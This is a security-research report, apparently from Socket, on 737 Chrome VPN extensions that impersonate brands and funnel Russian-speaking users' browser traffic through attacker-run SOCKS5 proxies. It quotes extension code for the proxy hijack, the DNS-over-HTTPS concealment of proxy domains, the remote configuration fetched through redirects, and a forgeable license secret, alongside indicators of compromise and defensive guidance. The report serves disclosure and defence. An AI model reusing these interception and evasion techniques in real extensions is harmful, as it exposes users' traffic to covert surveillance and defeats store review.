737 Chrome VPN Extensions Linked to Brand Impersonation and Browser Traffic Redirection

737 Chrome VPN Extensions Linked to Brand Impersonation and Browser Traffic Redirection The campaign amassed more than 75,000 installs by targeting Russian-speaking users seeking access to blocked services. - Kush Pandya Socket's Threat Research Team identified a campaign of 737 free VPN and proxy extensions published across at least 40 Chrome Web Store developer accounts, 274 of which impersonate 66 established VPN and privacy brands, that route the user's entire browser session through SOCKS5 proxies operated by a single provider. Socket analyzed the code of 525 of them, 522 from bulk retrieval and 3 more found during store enumeration; the remaining 212 had been removed from the store before collection and were recovered at listing level only. 520 of the 522 in the bulk corpus route browser traffic through the same SOCKS5 infrastructure. The campaign has accumulated 75,486 installs across 737 extensions, of which 516 were listed as active when the corpus was collected, carrying 58,318 installs. Install counts are the Chrome Web Store’s bucketed display values, so these are sums of buckets rather than exact headcounts. The campaign splits into three connected threat behaviors: - Traffic interception: 520 of the 522 retrieved packages set chrome.proxy.settings to a fixed SOCKS5 server on port 1082 with a bypass list containing only loopback addresses, placing the threat actor in an adversary-in-the-middle position over all browser traffic. - Detection evasion: 104 extensions declare host permissions for Cloudflare and Google DNS-over-HTTPS endpoints, resolve their own proxy hostnames through them, and hand Chrome a raw IP address, so the victim’s machine never emits a plaintext DNS query for the threat actor’s domains. - Subscription fraud: The paid tier advertises servers in Japan, Singapore, Canada, Australia, and Turkey. Not one of those 200 hostnames resolved. Socket observed the client side only. The extensions place the threat actor in a position to read all browser traffic, and this report makes no claim about what the proxy servers retain or transmit. What is established from the packages and from public infrastructure is the impersonation, the undisclosed proxy configuration, the non-existent premium servers, the false statements submitted to store reviewers, and the post-approval code substitution. The populations behind the numbers in this post: - 737 extensions in the campaign, published from at least 40 developer accounts. - 734 of those appear in the source dataset. The other 3 were found later during store enumeration, published from 2 accounts outside the original 38. - 525 were retrieved with code and analyzed: 522 in bulk, plus those 3. - 522 is the denominator for every code-level figure in this post. - 520 of the 522 configure a proxy at all. The other 2 ship no proxy code. - 516 were live when the corpus was collected and 221 had been removed. - 212 were never retrieved and are known only at listing level. - 75,486 installs across all 737, of which 58,318 sit on the 516 live extensions. The same threat actor runs a subscription VPN business in Russia. Its published contract names an active, tax-registered self-employed provider, and its billing dashboard sells the browser extension as a paid tier. The extension estate is that business’ customer acquisition funnel. The extensions target Russian-speaking users seeking to reach services blocked inside Russia, including Instagram, ChatGPT, and YouTube. 690 of the 734 extensions in the source dataset are Russian-targeted by at least one of three tests: a Cyrillic listing name, a Cyrillic manifest description, or a blocked-service name in the listing. 520 of the 522 retrieved manifests carry Russian descriptions. Listings promise IP masking and traffic protection. One manifest in hfanmgjobgojpieocfemecgcgglmgpff reads: { "description": "Скрывает IP и защищает данные, подходит для любых устройств и сайтов. Рекомендовано Юрием Дудём." } That translates to “Hides IP and protects data, suitable for any devices and sites. Recommended by Yuriy Dud.” Yuriy Dud is a Russian journalist with no connection to this campaign, and the claim appears in an extension from an estate that impersonates 66 other real brands. Socket found no public record of any endorsement. 66 real software brands are impersonated across 274 extensions and 38,140 installs, including Proton VPN, NordVPN, Surfshark, AdGuard VPN, Browsec, ExpressVPN, CyberGhost, Windscribe, TunnelBear, Cloudflare’s 1.1.1.1, and Google’s own Outline. Two impersonation targets are notable because they are the tools Russian users specifically trust to circumvent blocking: AmneziaVPN (22 extensions) and AntiZapret. The Proxy Hijack Every retrieved extension that configures a proxy at all, 520 of 522, performs the same operation. From aabaifmlfkdolhdbbhjblkeekaijfdfh/worker.js : const config = { mode: "fixed_servers", rules: { singleProxy: { scheme: "socks5", host: node.host, port: node.port }, bypassList: BYPASS_LIST // = ["localhost", "127.0.0.1", "::1", "<-loopback>"] } }; chrome.proxy.settings.set({ value: config, scope: "regular" }, callback); BYPASS_LIST contains only loopback addresses. Every other destination, for every tab, is forced through the threat actor's SOCKS5 node once the user clicks Connect. There is no per-site scoping and no split tunneling. - 302 packages hardcode proxy IPs drawn from a single shared pool of 15 addresses, and 301 of those carry all 15. - 104 resolve a hostname over DNS-over-HTTPS and hand Chrome the resolved IP. SOCKS5 as configured here is a bare relay. It adds no encryption, sets no proxy credentials, and does nothing about WebRTC or operating-system DNS. 497 of the 522 request proxy and nothing else; the remainder add only storage , with one exception each for activeTab and notifications . Everything the extensions do not see, the proxy does. With all browser traffic forced through it, the threat actor’s server is positioned to read every destination, every TLS SNI value, the victim’s source IP, and any request body sent over plain HTTP. For a user in Russia, source IP plus timestamp is identity-adjacent, because an ISP can resolve it. The connected state renders the word “Защищено” (“Protected”) in 67 of 91 extensions in one code generation. Would a Legitimate Service Look Any Different? At the mechanism level, no. A browser-scoped VPN has one API available to it, chrome.proxy , and a fixed-server SOCKS5 configuration with a loopback-only bypass list is the ordinary way to implement one. Any extension that proxies browser traffic necessarily places its operator in a position to observe that traffic. A provider building a genuine censorship-circumvention tool for Russian users would produce something that looks very much like the code above. The proxy hijack is the capability, not the finding. What separates this campaign from that hypothetical is everything around the proxy. A legitimate provider competes under its own name; 274 of these extensions impersonate 66 established brands, including AmneziaVPN and AntiZapret, the two tools this audience specifically trusts to get around blocking. A legitimate provider does not advertise server locations that do not exist; all 200 jp , sg , ca , au and tr subdomains across the 40 apex domains tested return no A record, and those are exactly the entries marked premium: true . A legitimate provider does not ship a paywall that cannot be satisfied, or an extension hardcoded to fail every connection behind a working connecting animation. A legitimate provider does not submit nine byte-identical justifications to store reviewers stating "No data transmitted to external servers" while shipping a proxy. A legitimate provider does not add an entire remote-configuration layer after approval, in a build whose reviewed predecessor contained none of it. And a legitimate provider does not write an internal manual telling staff never to put a domain into chrome.proxy.settings , only the resolved IP, so that the destination cannot be read out of the shipped package. Each of those is a choice with no operational benefit to a service that intends to deliver what it sells. Each is documented in the sections that follow. 104 extensions declare host permissions for cloudflare-dns.com and dns.google , then resolve their own proxy hostname before configuring the proxy. From abjgfdfbmmijjdfbohbhgdnjeipjbplj/worker.js : async function resolveProxyHost(node) { if (node.useDnsResolve === false) return node.host; const resolvedIps = await resolveDomain(node.host); const hostToUse = pickRandomIp(resolvedIps); if (!hostToUse) throw new Error("Не удалось получить IP адрес сервера"); return hostToUse; } The resolved IP literal, not the hostname, is what reaches chrome.proxy.settings . No plaintext DNS query for the threat actor's domain is emitted while useDnsResolve is true, which is its value in every shipped node list Socket examined. resolveDomain queries cloudflare-dns.com/dns-query and falls back to dns.google/resolve , caching results for five minutes and selecting a random A record. This technique is documented, not incidental. One extension, kcplchjjdpgehfdlggggoohdeoaikcan , shipped an internal build manual titled “Промт для сотрудников” (“Prompt for employees”). It contains a project domain field filled in with skyproxy[.]space , a country-to-subdomain mapping, paste-ready implementation code, a pre-delivery checklist, and a section listing what staff must not do: Не ставить домен напрямую в chrome.proxy.settings — только IP после резолва Не использовать домен из другого расширения без отдельного указания Remote Configuration and Domain Rediscovery 66 extensions chase HTTP redirects at runtime to locate whichever threat actor domain is currently live, then pull configuration from it. The excerpt below combines resolveAssetsOrigin() and the fetchLandingLinks() call that follows it. redirect: "manual" lets the code read the 3xx Location header itself and follow it to an origin that is not hardcoded in the package, which means the threat actor can relocate destinations for already-installed copies without shipping an update. From abjgfdfbmmijjdfbohbhgdnjeipjbplj/core.js : fetch(LANDING_URL, { method: "HEAD", redirect: "manual", cache: "no-store" }) .then(function (r) { var target = LANDING_URL; if (r.status >= 300 && r.status < 400) { var loc = r.headers.get("Location"); if (loc) target = loc; } landingLinks.assetsOrigin = new URL(target, LANDING_URL).origin; return fetch(landingLinks.assetsOrigin + "/config/links.json", { cache: "no-store" }); }); Following those live redirects exposed a domain tier that appears in none of the 522 retrieved packages: myxavpn[.]site , myxavpn[.]online , myxavpn[.]tech , and myxasafe[.]space . The Paid Tier Sells Servers That Do Not Exist Every extension advertises premium locations. DNS resolution shows that the free-tier subdomains resolve and the premium ones do not. For stealthpath[.]space : us[.]stealthpath[.]space :178[.]130[.]47[.]43, 178[.]130[.]47[.]44, 178[.]130[.]47[.]50, 147[.]45[.]60[.]241 de[.]stealthpath[.]space :80[.]92[.]204[.]47, 185[.]252[.]215[.]97, 185[.]252[.]215[.]98, 80[.]92[.]204[.]33 gb[.]stealthpath[.]space :5[.]180[.]30[.]15, 5[.]180[.]30[.]122 fr[.]stealthpath[.]space :86[.]104[.]74[.]110, 94[.]131[.]118[.]39, 94[.]131[.]118[.]237 nl[.]stealthpath[.]space :80[.]92[.]206[.]84, 194[.]150[.]220[.]163, 45[.]89[.]110[.]227 jp[.]stealthpath[.]space (no answer)sg[.]stealthpath[.]space (no answer)au[.]stealthpath[.]space (no answer)tr[.]stealthpath[.]space (no answer) All 200 jp , sg , ca , au , and tr subdomains across the 40 apex domains tested returned no A record. In the shipped server lists, those are precisely the entries marked premium: true . The paywall has no working unlock path either. In hfanmgjobgojpieocfemecgcgglmgpff/sw.js , one of the 88 packages built on the sw.js layout, the entire license check is: function hasPremiumKey(key) { return typeof key === 'string' && key.trim().length > 0; } Any non-empty string unlocks every premium server, and no code anywhere in that group of packages ever writes premiumKey to storage, so the paywall cannot be satisfied through the extension's own interface. const SECRET_KEY = "myxavpn2024secret"; function generateSignature(data) { const combined = data + SECRET_KEY; let hash = 0; for (let i = 0; i < combined.length; i++) { hash = ((hash << 5) - hash) + combined.charCodeAt(i); hash = hash & hash; } return Math.abs(hash).toString(16).substring(0, 32); } That is a 32-bit rolling hash of the hash*31 form used by Java's String.hashCode , not an HMAC. Secret and algorithm both ship in plaintext, so any user can forge a permanently valid token offline. That secret appears in 10 extensions across 10 separate publisher accounts. Seven of them split it across variables to defeat string search: const part1 = "myxa"; const part2 = "vpn"; const part3 = "2024"; const part4 = "secret"; /* Extra dummy locations (closed) */ {id:'it-1',name:'Италия 1',location:'Рим',host:'0.0.0.0',port:1082,countryCode:'IT',premium:true}, {id:'es-1',name:'Испания 1',location:'Мадрид',host:'0.0.0.0',port:1082,countryCode:'ES',premium:true}, Not one server in the package is marked premium: false , so no free tier exists. And the connect handler is hardcoded to fail: if (msg.action === 'ROUTE_APPLY') { sendResponse({ ok: false, error: 'SERVERS_CLOSED' }); return false; } Every connection attempt returns failure regardless of which server the user selects. The package ships a complete fake interface, including a connecting animation and status indicator, over a proxy engine that cannot function. Its homepage_url is a Telegram bot deep link carrying a referral code, the only thing in the package that reaches outside its own interface. Evidence of Deliberate Policy Evasion aaeiefggdeljohngedhpmgidkjcdoebb/background.js contains a comment recording the threat actor’s expectation that the behavior violates store policy, alongside the code that ships it anyway. The comments below are verbatim from the file, threat actor's own included. The Chrome Web Store line translates as: "If Chrome Web Store rejects this because of automatically opening links, we can replace it with a notification offering to go to the Telegram bot.” // Открываем Telegram-бота при первой установке // ВАЖНО: Это происходит только один раз при установке (onboarding процесс) // Popup расширения открывается только по клику на иконку (не программно) // Если Chrome Web Store отклонит из-за автоматического открытия ссылок, // можно заменить на уведомление с предложением перейти в Telegram-бота setTimeout(() => { // Открываем Telegram-бота в новой вкладке // Примечание: Для chrome.tabs.create с внешними URL может потребоваться разрешение "tabs" // Если возникнут проблемы, можно добавить "tabs" в permissions в manifest.json chrome.tabs.create({ url: 'hxxps://t.me/myxavpn_bot', active: true }).catch((error) => { Four lines later the same file notes that chrome.tabs.create with external URLs may require the tabs permission and that it could be added. It was not added. That extension’s shipped permission set is ["proxy", "storage", "notifications"] . Post-Approval Code Substitution The manifest difference between reviewed and shipped is only a version bump and the store’s automatically added update_url . The permission set stayed ["proxy"] , so a permission diff between the reviewed and shipped builds is empty. Campaign-wide, 49 extensions across 18 publisher accounts received post-approval code updates, covering 8,076 installs, and 31 of those are still live. Coordinated Review Gaming 10 extensions shipped store-assets/PRIVACY_JUSTIFICATIONS.md , the justification text submitted to Chrome Web Store reviewers. Nine are byte-identical, SHA-256 1dea4975f7aaba71bf7821fcf62deca470ef5e21f45c947b103ddeb836ef9b81 , across nine separate publisher accounts. The document asserts “No personal data collected,” “No data transmitted to external servers,” “No user tracking or logging,” and “This extension does NOT use remote code.” Infrastructure and Attribution The 737 extensions are one operation. Six independent classes of evidence establish it. The extensions declare it themselves. 360 of 522 retrieved packages, spanning 34 of 37 publisher accounts, render a string in the popup naming their own supplier. 330 read Premium доступ предоставляет официальный VPN провайдер Myxa VPN , “Premium access is provided by the official VPN provider Myxa VPN.” A further 30 read Ключ предоставляет официальный VPN провайдер Муха VPN , "the key is provided by the official VPN provider Муха VPN," using the Cyrillic spelling of the same brand. The popup of an extension branded “Лев VPN” names Муха VPN as the provider supplying premium access, states that one of its twenty locations is free, and shows the remaining nineteen as locked. One build machine. 43 packages shipped a build-info.json that leaks the threat actor’s Windows build path: C:\Users\ollob\OneDrive\Документы\1.myxa-work\08.06.26\\\-release.zip . One Windows account, one project directory, extensions published under many different accounts. One analytics account. Eight Yandex Metrika counters partition 49 threat actor domains with zero overlap. Counter 108155174 is installed on myxavpn[.]pro , the commercial storefront, and on the extension-farm landing domains vpnmyxa[.]site , vpnmyha[.]shop , and vpnkomar[.]space . A Metrika counter ID belongs to one Metrika account and reports only to it, so the same counter across these sites indicates shared control, linking the subscription business to the extension estate. Webvisor session recording is enabled on the landing pages. Bulk domain registration. 21 domains were registered inside a 10-second window on 2026-05-20 between 07:30:35 and 07:30:45 UTC. A further 14 were registered within 24 seconds on 2026-04-05. One registrar and one dedicated host. The estate of at least 102 apex domains sits on the nameserver pair ns1[.]reg[.]ru and ns2[.]reg[.]ru . 43 of the first 51 resolve to a single IP, 212[.]192[.]14[.]75 , running nginx 1.24.0 on Ubuntu. Reverse-IP lookups on that host returned only campaign domains, which is what allowed a further 51 apex domains to be recovered from it. One build pipeline across two code generations. The byte-identical comment /* finalize_ext: auto-open premium URL on first install */ appears in 26 extensions across 20 publisher accounts, in both sw.js and worker.js files, marking a generator pass that appends a second onInstalled listener. The brand is «Муха VPN», Russian for "fly." Rendered in Latin lookalike characters the Cyrillic «Муха» becomes myxa , which is why both spellings appear across the estate and why the domains read as they do. It also explains the naming scheme: myxavpn (fly), vpnkomar (mosquito), zhuknet (beetle), tarakanvpn (cockroach), pauktun (spider), sverchvpn (cricket), osavpn (wasp), shershvpn (hornet), korovkavpn (ladybird), usachvpn (longhorn beetle), and gusenvpn (caterpillar). One domain, maskirovka[.]space , takes its name from the Russian word for camouflage, also a term of art in Russian military doctrine. The Contracting Party Named in the Public Offer Russian law requires a public offer to name the contracting party, and myxavpn[.]pro/oferta/ does: Настоящая публичная оферта ... является официальным предложением самозанятого (ИНН [redacted]) ... о заключении договора на оказание услуг VPN-доступа That declares the provider to be a self-employed individual, identified by a 12-digit taxpayer number. A 12-digit INN is issued to a natural person, not an organization. Socket checked it against the Russian Federal Tax Service's public self-employment (НПД) taxpayer-status service, an endpoint that exists so businesses can verify a contractor's standing before contracting and that returns status only, with no name attached. It confirmed an active professional income tax registration. The endpoint rate-limited after that query, so we obtained no negative control against an unregistered number, though the response was specific rather than a bare true : it echoed the queried number and named the exact tax regime. No company name, registration number, address, or director is published anywhere. Two things are established. The threat actor published this number as its own contracting party, and the number corresponds to a live tax registration. A third is not. Socket did not resolve the number to an individual, did not attempt to, and does not assert that the registrant is the person operating this campaign. Self-employed status in Russia can be held on another party's behalf, and nothing in the extension code or the public infrastructure settles that question either way. Identifying the person behind a published taxpayer number is a step for a party acting under legal authority. The Business Predates the Extensions Certificate Transparency dates xray[.]myxavpn[.]com to 2024-11-06, the earliest issuance anywhere in the estate and roughly 14 months before the first extension in the dataset, with monitoring[.]myxavpn[.]com running Grafana from 2024-11-27 and git[.]myxavpn[.]com hosting self-managed source control from 2025-01-05. myxasecure[.]space additionally carries jitsi and rocket hosts, meaning self-hosted video conferencing and Rocket.Chat. A Second Proxy Tier for Paying Customers app[.]myxavpn[.]pro is a Telegram Mini App billing dashboard selling EXTENSION , PRO , and MAX plans. The EXTENSION tier is priced from 99 roubles per month and described as “VPN in browser only.” Its bundle hardcodes exactly one Chrome extension ID, aaeiefggdeljohngedhpmgidkjcdoebb , in a sub_type === "BROWSER_EXT" card and a setup wizard. That extension has 2,000 installs and is live. The dashboard’s CSP header exposed sub[.]myxasecure[.]space , a domain absent from all 522 retrieved packages. Node configuration for it was recovered on 2026-07-30 from five public V2Ray aggregator repositories that had republished the threat actor’s subscription output, showing VLESS-REALITY on port 443 rather than SOCKS5 on 1082. Socket did not purchase a subscription or connect to a node, so the paid tier’s operation is unverified. The protocol difference is the point: VLESS-REALITY is built to survive the deep packet inspection that blocks VPNs in Russia, while the extension estate ships the plaintext relay. The Privacy Policy Contradicts the Product An earlier version of the threat actor’s privacy policy, published on myxavpn[.]com and archived on 2025-12-14 as version 2.0 dated 20 January 2025, cited Russian Federal Law 152-FZ, committed to processing personal data on Russian territory, named Roskomnadzor as supervisory authority, and stated that data is disclosed По запросам уполномоченных государственных органов в установленном порядке , meaning “on the request of authorised state bodies in the established manner.” The current policy on myxavpn[.]pro , effective 1 January 2026, contains none of those four provisions. It is titled Политика конфиденциальности — MYXA VPN | No-logs VPN while stating that it processes Технические данные — IP-адрес , an IP address. A service sold to Russian users specifically for censorship circumvention advertises no logging on a page that records IP addresses, and until recently published a commitment to disclose data to the authority responsible for that censorship. This is a compliance posture, not a state connection. Any Russian-registered data processor carries comparable obligations, and Socket found no indicator of state sponsorship or tasking anywhere in this campaign. Impact For each affected user, while the extension is connected, every request passes through a server the threat actor controls, in a position to read the full set of destinations the browser reaches, the TLS SNI value of every HTTPS connection, the user’s source IP address, and the complete contents of any request sent over plain HTTP, including credentials submitted to non-HTTPS sites. Whether the threat actor owns those proxy servers or resells capacity from an upstream provider is not resolvable from the extension code. If it resells, a further party is in the same position. The victim population makes this material. 94% of the campaign targets Russian speakers, and the inducement is access to blocked services. These users selected a privacy tool specifically to protect traffic they consider sensitive, and the product routes exactly that traffic through infrastructure controlled by a party they cannot identify. Extensions impersonating AmneziaVPN and AntiZapret reach users who deliberately sought a tool they had reason to trust. Users who purchased a premium subscription paid for server locations that did not resolve at any point during this investigation. The Enforcement Gap Google has acted on this campaign. 221 of the 737 extensions have been removed from the Chrome Web Store, including 14 of the 15 that Palo Alto Networks named publicly on 2026-06-05 and that were still live at the time, every one of those within seven weeks of that publication. Removal is a deliberate act by the store, so the campaign is known to it. What the removals did not reach is the other 516. Normalizing every live service worker into a code skeleton, with comments, string literals, numeric literals, and whitespace removed so that branding and server lists cannot affect the hash, produces 93 distinct skeletons across 409 live workers. One skeleton has 51 members spread across 8 publisher accounts. Google removed exactly one of them, ofbdlgcpfnhcidmfmddnkkbkejjoffdf , which carried 37 installs. The remaining 50 are live and carry 3,217 installs, and every one is structurally identical to the extension that was taken down. Among those 50 is ilbpmeeaifiojjiohfffjmgpgcfcaajg , published as "1.1.1.1 VPN" and copying Cloudflare's branding outright. It is live, with 1,000 installs and a 5.0 rating from 8 reviews, and the store surfaces no warning to a prospective installer. The account economics explain the persistence. A Chrome Web Store developer account costs $5. The 38 accounts in the source dataset cost the threat actor $190 and published 737 extensions, which is $0.258 per extension and $0.00326 per surviving install. An account publishes a mean of 9.1 extensions before its first removal, then continues and publishes a mean of 15.8 more over a further 69 days. 28 of 29 core accounts kept publishing after their first removal, and 29 of the 30 accounts that have had an extension removed still hold live extensions. Extensions are removed. Publishers are not. Palo Alto Networks published on part of this campaign on 2026-06-05, naming 18 extension IDs. All 18 appear in Socket’s set. Three had already been removed before publication, and 14 of the remaining 15 were removed in the seven weeks after it. The 15 publisher accounts behind them retained 250 live extensions carrying 26,151 installs, and sverchtun[.]store , named in that brief as an indicator, still resolves and now fronts ten proxy IPs, eight of which are on ranges absent from the fifteen Palo Alto listed. Recommendations For Users Remove any VPN extension from this campaign immediately and confirm that Chrome’s proxy configuration has returned to normal at chrome[://]settings , searching for “proxy.” Change credentials entered on any non-HTTPS site while the extension was connected, and treat browsing history from that period as observed by a third party. A browser extension requesting the proxy permission can redirect all traffic; it is worth confirming that the publisher is the brand it claims to be before installing, because 66 real brands are impersonated in this campaign alone. For Developers Extensions that request proxy warrant the same scrutiny as extensions that request . The permission is narrow in appearance and total in effect. In this campaign the permission footprint stayed ["proxy"] across a post-approval change that added an entire remote-configuration layer, so permission diffs alone do not detect capability changes. For Security Teams Block the network indicators below at DNS and at egress. DNS blocking alone is insufficient against the 104 extensions that resolve their proxy hosts through DNS-over-HTTPS and pin a raw IP, so the proxy IP ranges require separate handling. Blocking SOCKS5 on port 1082 does not affect the VLESS-REALITY tier on port 443. Inventory installed browser extensions for the proxy permission and alert on chrome.proxy.settings modification. Cluster candidate extensions by normalized code skeleton rather than by extension ID, since this campaign regenerates variable names, function names, and comments per build, producing a unique file hash for every logically identical file. Socket’s Chrome extension protection analyzes extension bundles for hidden data flows, undisclosed credential exfiltration, and C2 backdoors, blocking malicious extensions before they reach user endpoints. MITRE ATT&CK - T1176.001 Browser Extensions - T1557 Adversary-in-the-Middle - T1090.002 External Proxy - T1572 Protocol Tunneling - T1071.004 Application Layer Protocol: DNS - T1102 Web Service - T1656 Impersonation - T1036.005 Match Legitimate Name or Location - T1204.001 User Execution: Malicious Link - T1583.001 Acquire Infrastructure: Domains - T1583.003 Acquire Infrastructure: Virtual Private Server - T1585.002 Establish Accounts: Email Accounts - T1608 Stage Capabilities - T1027 Obfuscated Files or Information Indicators of Compromise Network Indicators myxavpn[.]pro ,app[.]myxavpn[.]pro (billing dashboard, Yandex.Cloud,158[.]160[.]228[.]178 )getmyxa[.]com ,app[.]getmyxa[.]com myxavpn[.]com ,app[.]myxavpn[.]com - Post-redirect tier: myxavpn[.]site ,myxavpn[.]online ,myxavpn[.]tech ,myxasafe[.]space atlasvpn[.]space bezopasnet[.]space cipherway[.]space cloudmask[.]space echosecure[.]space gusentun[.]space gusenvpn[.]online horizonguard[.]space internetprvpn[.]ru ironproxy[.]space korovkavpn[.]space maskirovka[.]space murvpn[.]space myxasecure[.]space myxavpn[.]space neoncloak[.]space netroutehub[.]space nimbusshield[.]space osavpn[.]su pauktun[.]space primeproxy[.]space routekeeper[.]space routeshield[.]space salega[.]ru securepulse[.]space shershvpn[.]space shieldtunnel[.]space silashield[.]space skorostvpn[.]space skyproxy[.]space spidervpn[.]online stableproxy[.]space stealthpath[.]space sverchtun[.]store sverchvpn[.]space tarakanvpn[.]online tunnelbase[.]space turbotunnel[.]space usachvpn[.]su vaultvpn[.]space vpn-myxa[.]ru vpnfasters[.]space vpnkomar[.]space vpnmyha[.]shop vpnmyxa[.]site zenshield[.]space zhuknet[.]online zhukvpn[.]online ns1[.]reg[.]ru ns2[.]reg[.]ru 212[.]192[.]14[.]75 103[.]35[.]189[.]225 103[.]35[.]191[.]173 147[.]45[.]60[.]241 147[.]45[.]60[.]252 178[.]130[.]47[.]43 178[.]130[.]47[.]44 178[.]130[.]47[.]50 178[.]130[.]47[.]129 185[.]252[.]215[.]97 185[.]252[.]215[.]98 194[.]150[.]220[.]163 45[.]89[.]110[.]227 5[.]180[.]30[.]15 5[.]180[.]30[.]122 80[.]92[.]204[.]33 80[.]92[.]204[.]47 80[.]92[.]206[.]84 86[.]104[.]74[.]110 94[.]131[.]118[.]39 94[.]131[.]118[.]237 138[.]124[.]244[.]206 130[.]17[.]1[.]19 78[.]153[.]155[.]112 81[.]90[.]31[.]73 95[.]163[.]244[.]138 Hardcoded Signatures/Credentials - REALITY public key OCLtjVdRxsou3429LRfjkDYgiAPs24TSgSeFZpChCEw - short ID d67ec5a8fc40ebea - Recovered from third-party aggregator republications on 2026-07-30 and not verified against a live node. Extension IDs Live in the Chrome Web Store at Time of Writing (516) aabaifmlfkdolhdbbhjblkeekaijfdfh aaeiefggdeljohngedhpmgidkjcdoebb aalfhjflaokihbediiadmohipjlpbjpg abjgfdfbmmijjdfbohbhgdnjeipjbplj acdihpjgbhodcikbhikhhgkafmbbmemp adbicacljgblmefpmcffdjmcbagbejji adjnaekfhknjhcagnejdcfelbjdcfjgj adpkfblbeihmbjljeffbaklklgofcgae aeglpahooigfloknbcocdkgoklmopcad aemjnabgfabjlcojhbablmedhbnmpcgj aepcimhlmbgpilgmhgfkfjlgbdkdojdd afpiijfkjbkkfoeepflocpfcmghcohfi ahdpgkmldfnmpcpoamhabhoohdjgijak ahfjipgfgnjpkoacdlbaaimodjpiafod aikeingnnaofblajmpkdamcmbinjicek ajjgfffcnelajekhpgnfhhehpjokkkjh akiknpephpgdllpnmocndocdmgmbnocl albcebpejhogeakalalkmkhhhcofehme alcopdbbehlpelbaaglhlgljkkljkppi aliegnhhiklfkdipafafcjafgngecmgn ameimpcdjkiacjmfefadfkjbmicohmff anconclhkknnbkgiflfeppbcdoikcpca anggbncfkojnpldcpblaboandcjajkgl annffnminbfjdifcgbadjdgcaglpiemj aocipbpjojijjlmopppdnkhmnfaeobol aoejfgbdcbpeekpmelgoofbboonmdcaf aojolglblgegdlejhldpeadnglkcheba aophoakdkaldkckgkgionphohmkhnkom apgingficohkcjlkejipioacokkehnph apkfclckpilgfoembfmnmlblnffcnfcl apnlidgccohighgjjikmalpccgombonl baabjhdplplmihlnecgjajjdllllfhhf balkhnoegkmheodonbkhkaegibmamapp bbcgolpihcpibnjpnafbaccaclagclmf bbddibpbffgafehfljibecnppcamoogn bbjoeckmegkklkmlgihgebeiocmjhfpf bchelkjkilnlomoehihopndkjjhlcgla bcmmkekghfmaglecpmbmfidmmpljmbia bdbhokpcdfeoljjcfdegkdapplhknpoj bdmnomiahkddoogbipkleodejnplcppj bebcfnddlcnahgmdobbicnjbahlbgpnh becdalghcachfljkdifjaifmiecbpbcb bejjplkelkkcpnaaicfpdenfpcpbpnod bfdlendomdpckfcegjjhgheignejhing bfgoepnoenodpgmcficdjlajnlbmadlc bfhmomelpcmpdjdeohpeemfgikbdoijl bfjcdcgfehgbbaenfojebonnlfichjnk bgikeajhdmggllhdnleoeaiedpbdhbgc bieapdakjafmcilgjobfeopeoejhdmmg bifgpflmljboegdapmikafhpilijdead bimjbbjnldbimpihljgakoidmgcnmleb bjfngoeclhbkpgdngfdolcpiofgdlbjm bjpgehkaonlndnoohmlelkjlchccdigb bkmmedhfnenchphbngpihpcodlimdceb blagooekjnebejejmikhahgfejlbeoie blcnhjlbnldiopfekjpcmpcieipiokdl bmeonhjbmiacccakpjdmjaloiflkjgig bmidlejanhnaaopgiljgojghplnaeoaf bmldimmhaamlfaijnmhikfidngaennjo bnfedobijcachmijlfecldmhnebihmcj bngahmjkkbiebggdghdlbjaedhmcblpm bnnjeanokjfhhkohkaoghfclocnhpcia boembakcfchlnhkfpjeolgpfpegmejmm bokpbehobhpfpmamodkngkaljfmimmpa boomffhhbgombjkbeakkdjiphjkillpb bpcpgflbnnedjfcnkfbinikeicffghgl bpfjljidmejoeamagnfbknmhehbmagbd cabdahinacflcaaagobghohleefogogk cahbelonbpjbgolckchmbpdlgeglgpof capnggjhnpofmimlcjlhggdenibcgoal cbmjaknklmcgajkfocjagjmdkeinfchm cbpfihfjeleikcpadajchoebgfblalid ccnceaompinfjgnfkbcnfgaenklmafil cdlbcpjfhjedjajilmpknbmodmfocljm celjebeafmieepphodddabmegonmanoo cepookalkohkjhbamenfbagblnmfcfmn cgajlbgdapgeohppnnhjemoodaakmplh cghconplclhlafnkaocbddboklfodnfc choldfdafblhjjfdbnibekaakmhnfabc chphemgbhggblnggogackapgdnifnjco cieikfpbkhkjfjaoijonmhnmodnnhgdo cihkgekjnagficdlaicladlfdodlodji cijkehnfggjlcjlijaichfjbokalnleo cjadklbhkckhkgnlbllaelbfjjcgenfj ckicpgoimmcplbdeblgkcimhchdkkmlg cklafdlhkgikkkfoojcgjodehbdbakpa clcpecjofmjiapknnccnflcagbjdeccf cldooaldimmjpalhfppedmgbnocajian cljopkopbidboafoppejamlcpmgmffib clonlklkobdppgnhaklminjfgchpgiob cmdlencelhcjbebnkpbmhcfmlnjgihhm cmoljkcobacohfilkhbpclpgebcnpdcl cmplhaampagiakkffmgjndcjdgbglbln cnjgicfipaihakphpbcgdklcbpnkbndm cojkbijephcnagbbbkecebeoplnlgana cpehmglkieogiogkgbicjmoapfjooaam cpjmmnhmieannhjnjjfcpmkpjgnakjaj daefdbcalhpfoajkdeeobdamapepkdde dbcocmghepfnpobmefmdhmahefdmmkmi dbjeemabemccjbbemlnljmpmaadhohho dcbpngicdpgdlehimeoidnebieifgncf dcdengcnfioodmmjlkjhomeondebpjcj dceikamljmmhdjagikodokbkdmbancpb ddhhghnfnfjppofkhcndimaeohofbanc ddhjjndlmjakdcdcmgajploledaclbfk ddlnpmihnbdfhmiefebbogipmemmachh dejbkoamefcdbolpcpppeblbmbkdljmo dfbnmnokochbcifabpndhfelgobckenh dhehohioamlbamodmibbdbondgbbpkpb dijdbcdjngogkbpgldngbflblkbkicla dinnpahadcfmggceljnhjdopgepbalno djddlpkdagnbgokmielahcpgigepgdam djibkmimcjaphppiekhbkpccfhlhhfbj djocpdcnegafiajdaglloibfjifhbhbp dkdnckncggmlaokepcnaobhflpbadame dlaeopfffpngikkaccaknkmdgjdianin dlaonnkmgmchbmlbngepgioejjmglape dmadpoocbhhfaeefeblecpaielloalme dmanadmmigdmihoejnaaflfkimdlhjeo dmpmpkfbhilmjgbknadklnflbbbfocmi dnfdiamfhbaaicacdfmjhkfhedolbjfg dnmppgaamaeejibkgadfbmnpofmgnegf doapacnhgcnojfakmppeapngneienlhl dpbilbpinfjkhciajdcifndlpegepokc eaelfbmpnoaiefdgejnhblfhihagcbmo eaidghdeobijblnliakpildffnjdckmd eaolghfmnajoaejicijdbpkicimmomcn ebfkhmjpdjojecendlbkchjohblodlob ebjhmhgfpinecniajgjkhaocfodmldnn ecffkedpjhecoeeedbnembkgihnaoelk ecggfjeponcknddgikfdjngocbpmkhdo eckjcmcaanooipfdjhjihhidfidkflep ecnmodkmpeeebpcnlpmnieamegokkhab edakhofdfkcdhnmcjaacekhfgochaceo 